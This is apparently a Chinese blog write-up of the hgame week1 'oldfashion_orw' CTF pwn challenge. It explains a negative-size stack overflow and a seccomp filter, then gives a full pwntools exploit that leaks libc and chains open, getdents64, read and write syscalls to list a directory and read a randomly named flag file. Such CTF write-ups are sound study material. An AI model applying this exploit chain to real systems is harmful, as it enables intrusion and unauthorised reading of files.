hgame week1 oldfashion_orw复现

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  size_t nbytes; // [rsp+28h] [rbp-8h]

  init_io(argc, argv, envp);
  disable_syscall();
  write(1, "size?\n", 6uLL);
  read(0, buf, 0x10uLL);
  nbytes = atoi(buf);
  if ( (__int64)nbytes <= 32 )
  {
    write(1, "content?\n", 9uLL);
    read(0, buf, (unsigned int)nbytes);
    write(1, "done!\n", 6uLL);
    result = 0;
  }
  else
  {
    write(1, "you must be kidding\n", 0x14uLL);
    result = -1;
  }
  return result;
}

输入-1绕过size限制。
disable_syscall中利用prctl禁用了许多系统函数。这是seccomp保护机制。
什么是seccomp?
seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的syscall,这是不安全的,比如程序劫持程序流后通过execve的syscall来getshell。所以可以通过seccomp_init、seccomp_rule_add、seccomp_load配合 或者prctl来ban掉一些系统调用.

remake@remake-virtual-machine:~/ctf/pwn/hgame/oldfashion_orw/to_give_out$ seccomp-tools dump ./vuln
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x09 0x00 0x40000000  if (A >= 0x40000000) goto 0013
 0004: 0x15 0x08 0x00 0x0000003b  if (A == execve) goto 0013
 0005: 0x15 0x07 0x00 0x00000142  if (A == execveat) goto 0013
 0006: 0x15 0x06 0x00 0x00000101  if (A == openat) goto 0013
 0007: 0x15 0x05 0x00 0x00000003  if (A == close) goto 0013
 0008: 0x15 0x04 0x00 0x00000055  if (A == creat) goto 0013
 0009: 0x15 0x03 0x00 0x00000086  if (A == uselib) goto 0013
 0010: 0x15 0x02 0x00 0x00000039  if (A == fork) goto 0013
 0011: 0x15 0x01 0x00 0x0000003a  if (A == vfork) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL

所以可以写shellcode到bss,或者调用syscall进行orw(open read write)。vmmap看了一下bss是rw-p,只能ret2syscall。
但是这题连flag名字都不知道。观察题目附件

#!/bin/bash

rm /home/ctf/flag*
cp /flag "/home/ctf/flag`head /dev/urandom |cksum |md5sum |cut -c 1-20`"
cd /home/ctf
exec 2>/dev/null
/usr/sbin/chroot --userspec=1000:1000 /home/ctf timeout 300 ./vuln

大意就是每次进来flag后面会多一串随机数,而且只能读当前的文件
复现时在本地弄了个类似的flag

remake@remake-virtual-machine:~/ctf/pwn/hgame/oldfashion_orw/to_give_out$ ls
a.py  _asm.py  flagacbd18db4cc2f85cedef654fccc4a4d8  ld-2.31.so  libc-2.31.so  start.sh  vuln

所以在orw之前,先要调用类似ls的命令并输出到stdout上
流程为:
open打开当前目录 -> getdents64从fd=3读取文件名到bss -> write从bss输出文件名到stdout ->
write从bss读取flag_name到bss -> read从stdin读flag_name到bss ->
open打开当前目录 -> read从fd=4读flag到bss -> write从bss吧flag写到stdout

这里涉及到了fd,即文件描述符。简单地说,stdin,stdout,stderr分别对应0,1,2,这是linux系统固定的。每当新open一个文件,系统就会给文件绑定fd(同一个进程从3开始递增)。而fd的值作为orw各函数调用的参数之一。
大体思路有了,接下来就是小细节和无限debug(要死了呜呜呜):
1.为了得到更多gadgets,需要先ret2libc
2.从stdin读数据的时机不太好把握,这里可以先write一些字符串,然后sendafter
3.一些关键函数的原型:
open系统调用

include<unistd.h>
static inline long open(const char * name, int mode, int flags){
	return sys_open(name, mode, flags);
}

mode:参数可选:

 32 #define S_IRWXU 00700     文件所有者可读可写可执行
 33 #define S_IRUSR 00400     文件所有者可读
 34 #define S_IWUSR 00200     文件所有者可写
 35 #define S_IXUSR 00100     文件所有者可执行
 36 
 37 #define S_IRWXG 00070     文件用户组可写可读可执行
 38 #define S_IRGRP 00040     文件用户组可读
 39 #define S_IWGRP 00020     文件用户组可写
 40 #define S_IXGRP 00010     文件用户组可执行
 41 
 42 #define S_IRWXO 00007     其他用户可写可读可执行
 43 #define S_IROTH 00004     其他用户可读
 44 #define S_IWOTH 00002     其他用户可写
 45 #define S_IXOTH 00001     其他用户可执行

flags:在fcntl.h中定义

  7 #define O_RDONLY             00
  8 #define O_WRONLY             01
  9 #define O_RDWR               02
 10 #define O_CREAT            0100 /* not fcntl */
 11 #define O_EXCL             0200 /* not fcntl */
 12 #define O_NOCTTY           0400 /* not fcntl */
 13 #define O_TRUNC           01000 /* not fcntl */
 14 #define O_APPEND          02000
 15 #define O_NONBLOCK        04000
 16 #define O_NDELAY        O_NONBLOCK
 17 #define O_SYNC           010000
 18 #define FASYNC           020000 /* fcntl, for BSD compatibility */
 19 #define O_DIRECT         040000 /* direct disk access hint */
 20 #define O_LARGEFILE     0100000
 21 #define O_DIRECTORY     0200000 /* must be a directory */
 22 #define O_NOFOLLOW      0400000 /* don't follow links */

sys_getdents64

asmlinkage  long  sys_getdents64(unsigned  int  fd,  struct  linux_dirent64 __user  *  dirent, unsigned  int  count)

其中结构体linux_dirent64如下

struct linux_dirent64 {
	ino64_t d_ino; /* 64-bit inode number */
	off64_t d_off; /* 64-bit offset to next structure */
	unsigned short d_reclen; /* Size of this dirent */
	unsigned char d_type; /* File type */
	char d_name[]; /* Filename (null-terminated) */
};

其中d_name[]属性存储着我们要的文件名。由于第二个参数是指针,传一个bss段的地址进去就好,函数会把文件名写到bss上,后面再用write读出来
read/write的系统调用略了,查查就行
4.syscall; ret这个gadget要用ROPgadget的opcode来找。先用python3搞出opcode

from pwn import *
import binascii
code=asm('syscall;ret')
opcode=binascii.b2a_hex(code)
print(opcode)

然后在ROPgadget里--opcode xxx

exp:

from pwn import *
# p=gdb.debug('./vuln','b * 0x4013DC')
p=process('./vuln')
libc=ELF('libc-2.31.so')
elf=ELF('./vuln')
context.log_level='debug'

'''
ret2libc
write(1,got,??)
'''
pop_rdi_ret=0x0000000000401443
pop_rsi_r15_ret=0x0000000000401441
main=elf.sym['main']
pay=b'p'*(0x30+8)+p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_r15_ret)+p64(elf.got['write'])+p64(0)+p64(elf.sym['write'])+p64(main)
p.sendline(b'-1')
p.sendlineafter('content?\n',pay)
p.recvuntil('done!\n')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['write']
log.success('libc_base:'+hex(libc_base))
p.sendline(b'-1')

pop_rdx_r12_ret=0x000000000011c371+libc_base
pop_rax_ret=0x000000000004a550+libc_base

'''
help to find the input timming
write(1, "you must be kidding\n",20)
'''
pay=b'p'*(0x30+8)
pay+=p64(pop_rdi_ret)+p64(1)
pay+=p64(pop_rsi_r15_ret)+p64(0x40200B)+p64(0)
pay+=p64(pop_rdx_r12_ret)+p64(20)+p64(0)
pay+=p64(elf.sym['write'])
'''
input .
read(0,bss1,1)
bss->0x404000--0x405000
'''
bss1=0x404100
pay+=p64(pop_rdi_ret)+p64(0)
pay+=p64(pop_rsi_r15_ret)+p64(bss1)+p64(0)
pay+=p64(pop_rdx_r12_ret)+p64(1)+p64(0)
pay+=p64(elf.sym['read'])
'''
open current dir
open('.',0,0)
rax=2;rdi=dot;rsi=rdx=0
'''
syscall_ret=0x0000000000066229+libc_base
pop_rax_ret=0x000000000004a550+libc_base
pay+=p64(pop_rax_ret)+p64(2)
pay+=p64(pop_rdi_ret)+p64(bss1)
pay+=p64(pop_rsi_r15_ret)+p64(0)+p64(0)
pay+=p64(pop_rdx_r12_ret)+p64(0)+p64(0)
pay+=p64(syscall_ret)
'''
ls and write into bss2
fd=3
getdents64(3,bss2,0x200)
rax=217;rdi=3;rsi=bss2,rdx=0x600
'''
bss2=0x404200
pay+=p64(pop_rax_ret)+p64(217)
pay+=p64(pop_rdi_ret)+p64(3)
pay+=p64(pop_rsi_r15_ret)+p64(bss2)+p64(0)
pay+=p64(pop_rdx_r12_ret)+p64(0x200)+p64(0)
pay+=p64(syscall_ret)
'''
output filenames
write(1,bss2,0x100)
'''
pay+=p64(pop_rdi_ret)+p64(1)
pay+=p64(pop_rsi_r15_ret)+p64(bss2)+p64(0)
pay+=p64(pop_rdx_r12_ret)+p64(0x200)+p64(0)
pay+=p64(elf.sym['write'])
'''
help to find the input timming
write(1, "you must be kidding\n",20)
'''
pay+=p64(pop_rdi_ret)+p64(1)
pay+=p64(pop_rsi_r15_ret)+p64(0x40200B)+p64(0)
pay+=p64(pop_rdx_r12_ret)+p64(20)+p64(0)
pay+=p64(elf.sym['write'])
'''
input flag name to bss1
read(0,bss1,40)
'''
pay+=p64(pop_rdi_ret)+p64(0)
pay+=p64(pop_rsi_r15_ret)+p64(bss1)+p64(0)
pay+=p64(pop_rdx_r12_ret)+p64(40)+p64(0)
pay+=p64(elf.sym['read'])
'''
open current dir
open(flag_name(bss1),0,0)
rax=2;rdi=bss1;rsi=rdx=0
'''
pay+=p64(pop_rax_ret)+p64(2)
pay+=p64(pop_rdi_ret)+p64(bss1)
pay+=p64(pop_rsi_r15_ret)+p64(0)+p64(0)
pay+=p64(pop_rdx_r12_ret)+p64(0)+p64(0)
pay+=p64(syscall_ret)
'''
read flag to bss2
read(4,bss2,40)
rax=0;rdi=bss1;rsi=bss2;rdx=40
'''
pay+=p64(pop_rax_ret)+p64(0)
pay+=p64(pop_rdi_ret)+p64(4)
pay+=p64(pop_rsi_r15_ret)+p64(bss2)+p64(0)
pay+=p64(pop_rdx_r12_ret)+p64(0x100)+p64(0)
pay+=p64(syscall_ret)
'''
output flag
write(1,bss2,40)
'''
pay+=p64(pop_rax_ret)+p64(1)
pay+=p64(pop_rdi_ret)+p64(1)
pay+=p64(pop_rsi_r15_ret)+p64(bss2)+p64(0)
pay+=p64(pop_rdx_r12_ret)+p64(0x100)+p64(0)
pay+=p64(syscall_ret)

p.sendlineafter('content?\n',pay)
p.recvuntil('you must be kidding\n')
p.send('.')
p.recvuntil('flag')
flag_name=b'flag'+p.recv(32)
print(b'flag name: '+flag_name)
p.sendlineafter('you must be kidding\n',flag_name+b'\x00')
print(p.recv())
p.interactive()

参考:
官方wp
https://bbs.pediy.com/thread-267566-1.htm
https://blog.csdn.net/cnbird2008/article/details/11629095
https://blog.csdn.net/shanshanpt/article/details/39852249
https://blog.csdn.net/u012763794/article/details/78777938

posted @ 2022-02-09 17:55  KingBridge  阅读(149)  评论(0编辑  收藏  举报